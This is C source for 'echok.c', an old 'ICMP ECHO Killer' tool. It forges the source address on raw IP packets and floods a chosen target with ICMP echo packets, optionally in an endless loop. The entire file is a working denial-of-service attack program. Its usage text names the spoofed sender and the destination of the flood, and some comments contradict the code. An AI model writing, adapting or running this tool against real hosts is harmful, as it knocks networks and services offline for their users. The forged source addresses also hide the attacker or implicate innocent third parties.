/*
 * echok.c
 * ICMP_ECHO Killer
 * 
 * Author: Zakath    Credits:  LOTSA thanks to crisk
 * Don't be fooled. Very little is my orig code.
 * [03.13.96]
 */

#define RESOLVE_QUIET
#define IPHDRSIZE sizeof(struct iphdr)
#define ICMPHDRSIZE sizeof(struct icmphdr)

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>

#include <netinet/ip.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>

#define ECHOK_VER "1.4"

/* GENERAL ROUTINES ------------------------------------------- */

void banner(void)
     {
	printf("\n                  * ICMP ECHO Killer [v%s] - by Zakath *", ECHOK_VER);
        printf("\n               * Code based on works by Crisk & Mike Muuss *\n\n");
     }
	
void usage(const char *progname)
     {
	printf("\nusage:\n  ");
	printf("%s [-f <-n number>] [-s packet size] [-w wait] <spoof> <dest>\n\n",progname);
	printf("\t-f          : enable flooding  (ping -f)\n");
	printf("\t-n <number> : number of pings to send\n");
	printf("\t-s <size>   : ICMP_ECHO Packet Size [Default is 64]\n");
	printf("\t-w <time>   : Wait time between packets [Default is 100]\n");
        printf("\t<spoof>     : address of fake ICMP packet sender\n");
	printf("\t<dest>      : destination of the flood message\n");
       	printf("\n");
     }

/* OPTION PARSING -------------------------------------------- */

unsigned char *dest_name;
unsigned char *spoof_name = NULL;
struct sockaddr_in destaddr, spoofaddr;
unsigned long dest_addr;
unsigned long spoof_addr;
unsigned      pingsize, pingsleep, pingnmbr;
char          flood = 0;


/*
 * in_cksum --
 *  Checksum routine for Internet Protocol family headers (C Version)
 */
unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
 
    /*
     * Our algorithm is simple, using a 32 bit accumulator (sum), we add
     * sequential 16 bit words to it, and at the end, fold back all the
     * carry bits from the top 16 bits into the lower 16 bits.
     */
    while (nleft > 1)  {
        sum += *w++;
        nleft -= 2;
    }
 
    /* mop up an odd byte, if necessary */
    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }
 
    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
    sum += (sum >> 16);         /* add carry */
    answer = ~sum;              /* truncate to 16 bits */
    return(answer);
}


/* Nice resolve func. by crisk */
int resolve( const char *name, struct sockaddr_in *addr, int port )
     {
	struct hostent *host;
	
	/* clear everything in case I forget something */
	bzero((char *)addr,sizeof(struct sockaddr_in));
	
	if (( host = gethostbyname(name) ) == NULL )  {
#ifndef RESOLVE_QUIET
	   fprintf(stderr,"unable to resolve host \"%s\" -- ",name);
	   perror("");
#endif
	   return -1;
	}
	 
	addr->sin_family = host->h_addrtype;
	memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
	addr->sin_port = htons(port);
     
        return 0;
     }

unsigned long addr_to_ulong(struct sockaddr_in *addr)
     {
	return addr->sin_addr.s_addr;
     }


int resolve_one(const char *name, unsigned long *addr, const char *desc)
     {
        struct sockaddr_in tempaddr;
	if (resolve(name, &tempaddr,0) == -1) {
	   printf("error: can't resolve the %s.\n",desc);
	   return -1;
	}
            
	*addr = tempaddr.sin_addr.s_addr;
       	return 0;
     }

int resolve_all(const char *dest,
		const char *spoof)
     {
        if (resolve_one(dest,&dest_addr,"dest address")) return -1;
	if (spoof!=NULL) 
	  if (resolve_one(spoof,&spoof_addr,"spoof address")) return -1;
	
	spoofaddr.sin_addr.s_addr = spoof_addr;
        spoofaddr.sin_family = AF_INET;
	destaddr.sin_addr.s_addr = dest_addr;
	destaddr.sin_family      = AF_INET;
     }
	
void give_info(void)
     {
	printf("# target address          : %s (%s)\n",dest_name,inet_ntoa(dest_addr));
	printf("# spoof-from address      : %s (%s)\n\n",spoof_name,inet_ntoa(spoof_addr));
	if (pingnmbr) printf("# number of packets       : %u\n",(pingnmbr));
	printf("# icmp echo packet size   : %u\n",(pingsize+36));
        printf("# wait time between send  : %u\n\n", pingsleep);
     }

int parse_args(int argc, char *argv[]) 
     {
        int opt;
	
	char *endptr;
	
	while ((opt=getopt(argc, argv, "fn:s:w:")) != -1)  {
	   switch(opt)  {
	      case 'f': flood = 1; break;
	      case 'n': pingnmbr = strtoul(optarg,&endptr,10);
	                if (*endptr != '\0')  {
		           printf("%s: Invalid Number '%s'.\n", argv[0], optarg);
			   return -1;
	           	}
		        break;
	      case 's': pingsize = strtoul(optarg,&endptr,10);
	                if (*endptr != '\0')  {
		           printf("%s: Bad Packet Size '%s'\n", argv[0], optarg);
		           return -1;
	           	}
		        break;
	      case 'w': pingsleep = strtoul(optarg,&endptr,10);
	                if (*endptr != '\0')  {
		           printf("%s: Bad Wait Time '%s'\n", argv[0], optarg);
		           return -1;
	           	}
		        break;
	      case '?':
	      case ':': return -1; break;
	   }
	  
	}
	    
	if (optind > argc-2)  {
	   printf("%s: missing parameters\n",argv[0]);
	   return -1;
	}
        
        if (!pingsize)
          pingsize = 28;
        else
          pingsize = pingsize - 36 ;

        if (!pingsleep)
          pingsleep = 100;

	spoof_name = argv[optind++];
	dest_name = argv[optind++];
	
    	return 0; 		      	
     }

/*
 * icmp_echo_send()
 * builds and sends an ICMP unreachable packet. Since ICMP unreachable packets
 * contain the IP header + 64 bits of original datagram, we create a bogus
 * IP header and the first 64 bits of a TCP header (ports and syn). 
 *
 */

 inline int icmp_echo_send(int                socket, 
 			   unsigned long      spoof_addr,
			   unsigned long      t_addr,
			   unsigned           pingsize)
     {
	unsigned char packet[5122];
	struct iphdr   *ip;
	struct icmphdr *icmp;
	struct iphdr   *origip;
        unsigned char  *data;

        int i;
	
	ip = (struct iphdr *)packet;
	icmp = (struct icmphdr *)(packet+IPHDRSIZE);
	origip = (struct iphdr *)(packet+IPHDRSIZE+ICMPHDRSIZE);
	data = (char *)(packet+pingsize+IPHDRSIZE+IPHDRSIZE+ICMPHDRSIZE);
	
	memset(packet, 0, 5122);
	
/*	ip->saddr    = spoof_addr; */
	ip->version  = 4;
	ip->ihl      = 5; 
	ip->ttl      = 255-random()%15;
	ip->protocol = IPPROTO_ICMP;
	ip->tot_len  = htons(pingsize + IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE + 8);
	
        bcopy((char *)&destaddr.sin_addr, &ip->daddr, sizeof(ip->daddr));
        bcopy((char *)&spoofaddr.sin_addr, &ip->saddr, sizeof(ip->saddr)); 

	ip->check    = in_cksum(packet,IPHDRSIZE);
	
/*        origip->saddr    = t_addr;   this is the 'original' header. */
	origip->version  = 4;
	origip->ihl      = 5;
	origip->ttl      = ip->ttl - random()%15;
	origip->protocol = IPPROTO_TCP; 
	origip->tot_len  = IPHDRSIZE + 30; 
	origip->id       = random()%69;
	
        bcopy((char *)&destaddr.sin_addr, &origip->saddr, sizeof(origip->saddr));

       	origip->check = in_cksum(origip,IPHDRSIZE);
	
	*((unsigned int *)data)          = htons(pingsize);

	/* 'original IP header + 64 bits (of bogus TCP header)' made. */
	
	icmp->type = 8; /* should be 3 */
	icmp->code = 0;
	
	icmp->checksum = in_cksum(icmp,pingsize+ICMPHDRSIZE+IPHDRSIZE+8);

	return sendto(socket,packet,pingsize+IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8,0,
		      (struct sockaddr *)&destaddr,sizeof(struct sockaddr)); 
	
	/* ICMP packet is now over the net. */
	
     }

/* MAIN ------------------------------------------------------ */

void main(int argc, char *argv[])
     {
        int s, i;
        int floodloop;
	
      	banner();
        
	if (parse_args(argc,argv)) 
	  {  
	     usage(argv[0]); 
	     return;
	  }
	
	resolve_all(dest_name, spoof_name);
	give_info();
       	
       	s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	
        if (!flood)
	  {
	     if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)
	     {
	        printf("%s: error sending ping packet\n",argv[0]); perror(""); return;
	     }
	  }
	else
	  {
             floodloop = 0;
             if ( pingnmbr && (pingnmbr > 0) )
             {
               printf("flooding... packet limit set.\n");
               for (i=0;i<pingnmbr;i++)
	       {
		 if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1) 
	         {
		    printf("%s: error sending packet\n",argv[0]); perror(""); return; 
	         }
	 	 usleep((pingsleep*1000));       	      

	         if (!(floodloop = (floodloop+1)%25)) 
		  { fprintf(stdout,"."); fflush(stdout); 
	         }
		
 	       }
               printf("flooding completed - %u packets sent.\n", pingnmbr);
             }
             else {
               printf("flooding. each dot equals 25 packets.\n");
               for (i=0;i<1;i)
	       {
		 if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1) 
	         {
		    printf("%s: error sending packet\n",argv[0]); perror(""); return; 
	         }
	 	 usleep(900);       	      

	         if (!(floodloop = (floodloop+1)%25)) 
		  { fprintf(stdout,"."); fflush(stdout); 
	         }
		
 	       }
             }

	  }
     }

